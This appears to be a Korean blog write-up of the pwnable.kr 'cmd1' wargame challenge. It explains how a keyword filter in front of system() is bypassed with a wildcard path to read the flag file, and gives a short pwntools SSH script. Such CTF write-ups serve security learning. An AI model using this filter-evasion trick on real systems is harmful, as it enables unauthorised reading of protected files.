PATH 환경변수 관련 문제인 것 같다.
코드를 보자.
짧다.
시작하자마자 PATH 환경변수를 덮는다.
그리고 argv[1]을 filter 함수로 filter 후에 "flag", "sh", "tmp"가 없으면
system 함수로 실행한다.
1 | ./cmd1 "/bin/cat /home/cmd1/flag" | cs |
대충 이런 문장을 실행시켜서 플래그를 읽어야 할 것 같은데..
여긴 "flag"라는 문자열이 들어가기 때문에 실행할 수 없다.
그럼..
1 | mommy now I get what PATH environment is for :) | cs |
pwntools
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * id = 'cmd1' host = 'pwnable.kr' port = 2222 pw = 'guest' s = ssh(id, host, port=port, password=pw) argv = '\"/bin/cat /home/cmd1/f*\"' res = s.run('./cmd1 ' + argv) res.interactive() | cs |
'CTF 공부 > Pwnable.kr' 카테고리의 다른 글
otp (0) | 2019.01.07 |
---|---|
21. horcruxes (0) | 2018.12.30 |
13. lotto (0) | 2018.10.01 |
12. blackjack (0) | 2018.10.01 |
11. coin1 (0) | 2018.10.01 |